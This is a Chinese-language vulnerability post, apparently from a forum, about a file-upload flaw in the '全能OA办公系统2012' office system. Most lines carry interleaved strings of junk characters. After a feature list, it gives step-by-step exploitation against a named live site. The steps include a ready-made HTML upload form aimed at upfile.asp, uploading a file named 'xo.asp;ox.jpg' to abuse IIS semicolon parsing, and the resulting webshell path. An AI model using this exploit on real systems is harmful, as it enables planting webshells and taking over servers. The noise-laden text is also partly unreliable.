全能OA办公系统 上传漏洞: ~: w6 Q3 X% d' f
( C% K+ g- n2 {$ r系统介绍:
' u9 K. l: Q3 r t9 d" K7 d) ]5 T! C; Z2 E/ N' Q
全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。8 f8 Y8 P* I R' q+ Z/ ?
0 z; O) M) A: |2 l
主要功能:0 O3 Y2 L5 F0 r" N6 I% X2 q0 O$ m/ M
公司通告
& Q" X* S" ~4 Z: W9 a/ Y% a9 M工作计划 : p: ~% j) r' C+ ^
通讯助理 g- H$ F o3 o
客户资源 - c9 l- t3 O4 e+ [' i" U4 f
我的公文
; N$ w# D0 r) P$ {公文传阅
( j3 o* }' o& z7 R公共资源 7 [" Y. t4 E6 H" Y5 s2 h' C
资源预约
: s8 z6 }; O! o2 w今日考勤
6 W; F; `) s: d1 O/ d2 _: p个人计划
' v# h: d9 _* B# A1 ~; s0 y个人通讯录 ; J0 `: b; p, r2 R$ P9 h% b) g) N
个人基本档案 + N+ X6 e+ `8 M0 }
未读邮件
& n- N2 M9 i' s- F: e p! t9 ^发邮件 & w4 q* x6 A1 ]5 P9 s( \6 Y& V8 W3 y
收件夹 1 d: b* S2 m# c
寄件夹
3 W8 h- G) C2 J% S ?, V网络硬盘 ) R+ {1 p1 ^% }# K
网络会议 * z: p; Y2 A/ G$ F: [! i, X+ E
网络调查 6 ~ B8 L( g, G& N; e
交流论坛
& @% ^7 f9 y$ {0 S p' H
- y* x1 u* x. L5 @7 k6 W有兴趣测试的朋友可以下源码看看1 Y' M$ ]4 H5 q" G, Y F" D1 B
5 D8 |4 a3 t) q/ _3 l源码下载:, _" R/ f' A+ e, L. x6 u
/ U5 h* d9 c2 F( [( K# @
http://www.mycodes.net/30/4750.htm
) r9 @) f7 U6 j
# y% C% n5 U8 u) o+ }: q漏洞介绍:
: u( b1 L/ B1 x; d
1 s0 f- x& t" N/ ]5 E由upfile.asp上传文件漏洞引起& C/ p* b- m3 _) L# {
2 f- k- G5 Y$ l* {1 M) ]: R
测试方法:2 A6 R# A: e1 L3 U( }) ]2 T7 X* D+ }
( C( w5 ]$ Y J7 E使用名小子上传http://www.itlynn.com/upfile.asp即可: l6 ^# e1 {8 G, r" S9 u$ U& U3 X
1 `$ H3 |" S/ i/ m如果upfile.asp文件被删除不存在。/ n' o% M( B' J; D" L) k
- Y; d: n4 M; p. b0 }' t
那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。; k6 k% t: g' t3 f S
0 _- r( W8 R) G N5 j如果存在那么将如下代码保存为upfile.html。
/ O5 \/ i$ T/ C" [4 p; A$ G+ U& h) ?8 L
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。# \* j4 ~* ]" X1 ^8 S2 z
% T. w$ H$ p. G' I7 ^
+ O1 m( ?5 `) j" s
3 x1 j6 r; T, v* A, X7 Y2 ]3 D! N01 <table border='0' align="center" cellpadding="5">
0 n3 a7 [- i W5 k' z& t
/ t/ z1 |- t) H5 [' v, _02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1"> 8 W4 _+ G! W3 ?0 l
, s2 K. z) M& b0 ~( _
03 <tr>
9 Y7 {! ~7 ~( p0 [% E0 p7 W& i- R$ N0 _
04 <td>报错:</td> + [& m1 w! z9 L& L
4 @$ @% a' r/ N- j1 E- L$ H05 <td><input type='radio' name='errnumber' value='0'>
; a) I% C1 p5 g1 r& N- K% _
5 G# s" o% {: W+ | q5 ?6 U06 自动更名
7 F- J( f) e. e4 ]4 S( w- e- W }, Y$ W. l' X2 G: P" x
07 <input type='radio' name='errnumber' value='1' checked>
) o) J" D2 d, K+ ^* F6 q" k2 W/ r: r0 e
08 报错方式 + L) {6 F& [; p4 x" b% `
# X6 O0 ~0 m' R. H' j" E2 D
09 <input type='radio' name='errnumber' value='2'> 2 ^% ~; ^5 T' }! x! H- y
6 E g7 @- N" e+ O2 m/ `
10 直接覆盖</td>
% A9 x. T/ c3 J4 d L3 k1 F, ?2 |, {0 ? ?" n
11 </tr>
* ?0 W6 {# b' ]: O
. T' j/ i+ F0 c6 C5 b1 _& p12 <tr>
2 \" z3 H8 ]$ g7 n, u2 ~! E. O+ T9 O8 V) }8 O
13 <td>主题:</td>
$ Z5 K8 Y( I" F) J" A! t2 a0 ? ]2 L: o" l0 A5 H! Z
14 <td><input type='text' name='filename' size='30'></td> ) M( ^2 f$ i( X, G. I( P& R
' S: k! A- c! e7 ?/ F8 Y3 p15 </tr> 9 g- k; V, q+ ^! K1 E
4 K5 K' G7 u# [. [0 X* |% t16 <tr> 0 l/ l# ` Y3 D7 t" w
& n. _, B. P/ u' v: X: M) a5 [, E17 <td>文件:</td> 8 E7 E! F: u* Z$ ^( J" V& N
, A* N( k& P1 [$ R
18 <td><input type="file"name="fruit"size="30"></td>
f& {4 N, U. g# ^; i
; @% [$ s, G7 m S6 f* g19 </tr>
0 Z+ t* H! u0 I" ]. @7 O
* }& i0 o2 o5 e5 E20 <tr> " d; n4 n$ J. |- P) y2 c3 P
* [7 g% a& N& i! W3 j& h& k21 <td valign='top'>简介:</td>
* I* L& k: y9 S$ M
5 g, y$ e% M1 K1 s) a22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td> 7 l0 C3 Z: U) V5 ^
; A8 ?$ U% Y U' y z
23 </tr> 5 G3 j2 Y" T( Z4 h7 V4 d
# J# g$ t {' K0 Z( N4 P% j+ w& E
24 & A+ |6 n6 r7 c; H5 ~: @* ?+ V
. r" I7 }" ?; w+ C25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
+ }3 c7 ~: |6 d2 v6 W# D8 U7 {2 K
+ h4 {) @5 t. W26 </tr>
N9 V: f% e: y
6 d7 [' w9 K! w) q! ` H27 </form>
) d4 L* ?9 Y% ^- j
3 S8 D& i" q8 f/ ~! n然后打开上传一个文件名为xo.asp;ox.jpg的文件。! v4 E. L+ `0 N }5 X$ S
' ?/ E1 [% Z) F9 R) m7 a, d
; z; K- g& {* o' `
3 W8 }& ~2 C0 L( a2 b
上传成功后,马的路径是:http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg: R8 u9 f+ H& s( ?8 N( s2 x5 X
; i1 j: \5 ^# Y5 [
此漏洞需要配合解析漏洞利用。
$ j: b/ b. z' G' W5 ]2 \
' |% F' \1 g& G/ R% D |